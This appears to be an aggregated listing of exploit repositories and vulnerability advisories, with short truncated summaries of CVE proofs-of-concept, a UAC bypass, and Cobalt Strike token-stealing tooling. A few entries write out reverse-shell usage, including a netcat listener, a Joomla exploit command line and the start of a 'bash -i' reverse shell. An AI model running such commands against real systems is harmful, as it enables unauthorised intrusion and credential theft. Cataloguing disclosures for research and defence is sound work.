CVE-2026-69836-EXP

CVE-2026-69836 Entra ID 未认证 RCE 概念验证 概述 CVE-2026-69836 是 Microsoft Entra ID 中存在的一个严重未认证远程代码执行漏洞，源于对不可信数据的反序列化不当（CWE-502）。该漏洞允许攻击者在无需身份认证、用户交互或特殊权限的情况下通过网络执行任意代码。本 PoC 演示了一种在已修补环境中实现完整 RCE 的利用方式，可导致身份数据被完全攻陷、令牌遭窃取、权限被提升，并可在 Microsoft 365、Azure 及连接的 SaaS 应用中进行横向移动。 受影响版本 受 CVE-2026-69836 影响的...

WordPress eCommerce Product Catalog plugin <= 3.6.0 - PHP Object Injection vulnerability

PHP Object Injection vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin eCommerce Product Catalog versions = 3.6.0...

CVE-2025-64459-Poc

CVE-2025-64459：Django ORM SQLインジェクション PoC 脆弱性： QuerySet および Q キーワード引数のアンパックによるSQLインジェクション CVE ID： CVE-2025-64459 発見者： Me Cyberstan 開示日： 2025年11月5日 🚨 エグゼクティブサマリー このリポジトリには、Django ORMにおける重大なSQLインジェクションの脆弱性 を実証するDocker化された概念実証（PoC）が含まれています。...

WordPress Cost of Goods for WooCommerce plugin <= 3.5.2 - PHP Object Injection vulnerability

PHP Object Injection vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Cost of Goods for WooCommerce versions = 3.5.2...

WordPress Media Library Folders plugin <= 8.4.1 - PHP Object Injection vulnerability

PHP Object Injection vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Media Library Folders versions = 8.4.1...

WordPress Content Egg plugin <= 6.3.1 - PHP Object Injection vulnerability

PHP Object Injection vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Content Egg versions = 6.3.1...

postgresql: PostgreSQL: Information disclosure via type confusion in ctid selectivity estimator

A flaw was found in PostgreSQL. This vulnerability, stemming from a type confusion issue in the ctid data type selectivity estimator, could allow an authenticated object creator to access and potentially recover sensitive information from memory. By manipulating input, an attacker could gain...

bucketbuster

BucketBuster 用于授权安全测试、漏洞赏金工作和您拥有的基础设施的云对象存储暴露扫描器。 BucketBuster 会针对 Yandex Cloud、VK Cloud、Selectel、SberCloud、Alibaba OSS、Tencent COS、Huawei OBS 和 Baidu BOS 的公共端点检查候选存储桶名称。它可以识别可公开列出的存储桶、匹配与证书相关的对象名称，并可选地通过 HTTP GET 下载可公开访问的对象。 需要授权：...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397 - Js2Py サンドボックスエスケープペイロードジェネレーター このスクリプトは、Python内部がオブジェクトラッパーを通じて露出している脆弱な環境で、Js2Pyによって評価可能なJavaScriptペイロードを生成します。 使い方 基本的なコマンド実行: python3 cve-2024-28397.py -c "id" コンパクトな1行ペイロードを生成: python3 cve-2024-28397.py -c "whoami" --compact Base64を使ったリバースシェル Base64ペイロードを生成: echo 'bash -i &...

CVE-2025-1974

CVE-2025-1974: Kubernetes Ingress Nginx Controller 脆弱性分析及びPoC環境構築 テスト環境 MacOS M2 Ingress NGINX Controller 1.11.3 Rancher Desktop Docker Minikube Kubernetes ローカルテスト環境設定M2 MacOS ローカルテストのためにminikubeをインストール minikube start --driver=docker 以下のコマンドでingress-nginx-controllerを構成 kubectl apply -f...

CVE-2022-30190

CVE-2022-30190 aka Follina 脆弱性の説明 Follinaは、Microsoft サポート診断ツール（Microsoft Support Diagnostic Tool、MSDT）に存在する脆弱性です。アプリケーションがURLプロトコルを介してMSDTを呼び出してサポートを実行すると、リモートコード実行の脆弱性が発生します。悪用に成功すると、攻撃者は実行中のアプリケーションの権限に基づいて任意のコードを実行できます。 脆弱性の再現環境 Host OS: Ubuntu 22.04 LST Guest OS: Windows 10 Pro x64, version...

CVE-2026-82222

CVE-2026-82222 — GiveWP 作者： Rx019 CVSS： 10.0（严重） 类型： 未认证 PHP 对象注入 → 远程代码执行 插件： GiveWP give — 捐赠插件与筹款平台 受影响版本： 已修复版本： 4.16.8 描述 GiveWP 将捐赠者的 lastname 未经清理地存储在 PHP 会话中。当提交捐赠时未包含 givelast 字段，GiveWP 会直接将数据库中的原始值反序列化到会话中。这使得未认证攻击者能够通过捐赠者资料端点将 PHP 序列化对象注入 lastname，然后通过提交精心构造的捐赠来触发反序列化——从而利用 GiveWP...

PoC-CVE-2022-30190

POC CVE-2022-30190 : CVE 0-day MS Offic RCE 別名 msdt follina 情報 : 攻撃でPowerShellを実行するために使用される新しいMicrosoft Officeゼロデイ 概要 2022年5月29日、独立したサイバーセキュリティ研究チームであるNaoSecチームは、Virustotalで共有された悪意のあるOffice文書を発見しました。この文書は、異常ではあるが既知のスキームを使用して被害者に感染します。このスキームは、Microsoft Defender for...

CVE-2015-8562

CVE-2015-8562 - 反向 Shell Python 漏洞利用：Joomla 1.5 - 3.4.5 对象注入 RCE X-Forwarded-For 头： 漏洞日期：2015年12月17日 漏洞利用作者：anarc0der 版本：Joomla 1.5 至 3.4.5 CVE：CVE-2015-8562 使用方法： 打开一个终端并使用 nc 监听：$ nc -lnvp 4444 打开另一个终端并执行漏洞利用： python3 rce.py --target='目标' --ip='IP' --port=4444 PoC 示例目标（请勿攻击它们，仅供其他人作为示例使用）：...

cve-2026-43499-app.so

cve-2026-43499-app.so...

IDiagnosticProfileUAC

IDiagnosticProfileUAC 另一种使用 DiagCpl 的自动提升 COM 对象 Virtual Factory（12C21EA7-2EB8-4B55-9249-AC243DA8C666）实现的 UAC 绕过。该 COM 对象可用于创建 DiagnosticProfile（D0B7E02C-E1A3-11DC-81FF-001185AE5E76）COM 对象的实例，其暴露了 SaveDirectoryAsCab 方法，可用于将任意文件移动到 system32 目录。此 PoC 将用户指定的 dll 复制到...

cotonti-commentswidget-poc

Cotonti CommentsWidget PHP 对象注入 PoC 针对 Cotonti 的 CommentsWidget 实现中发现的 PHP 对象注入问题的安全本地概念验证。 漏洞 项目： Cotonti 受影响组件： plugins/comments/inc/CommentsWidget.php CWE： CWE-502 — 不可信数据的反序列化 CVE/候选编号： CAN-2026-2035973 / CVE-2026-71294 研究员： Harsh Raj Singhania 存在漏洞的代码路径接受 ci GET 参数，并将攻击者控制的数据通过 base64decode ...

CoffeeLdr

CoffeeLdr CoffeeLdr 是一个用于加载所谓 Beacon Object FilesBOF的加载器。 该项目可用于在不使用 Cobalt Strike 框架的情况下测试 Beacon Object Files，也可用于为自定义植入体提供执行专为 Cobalt Strike 设计的 BOF 的方法。 但大多数 Beacon APIfork&run 和注入函数为空，需自行实现。 待办事项 x86 对象文件支持 致谢 当然，如果没有 Trustedsec 的 COFFLoader 项目，这一切都不可能实现。...

cve-2023-5044

CVE-2023-5044 Ingress Nginx Exploit Proof-Of-Concept This is a quick Go program to exploit the recent CVE in the Ingress Nginx controller. Details on how to do this are already out there via Rory McCune's blog at https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, this just...

cs-token-vault

适用于 Cobalt Strike 的 Token Vault BOF 此 Beacon 对象文件 BOF 可在内存中创建用于存储已窃取/复制的 Windows 访问令牌的存储空间，使您能够： 无需重新复制即可热切换/重用已窃取的令牌。 存储令牌以备人员注销后使用。 安装 1. 下载最新版本的 build，或运行 make all 构建。 2. 将 token-vault.cna 攻击脚本加载到你的 Cobalt Strike 客户端。 用法 beacon help token-vault Available Commands: Create a new token vault:...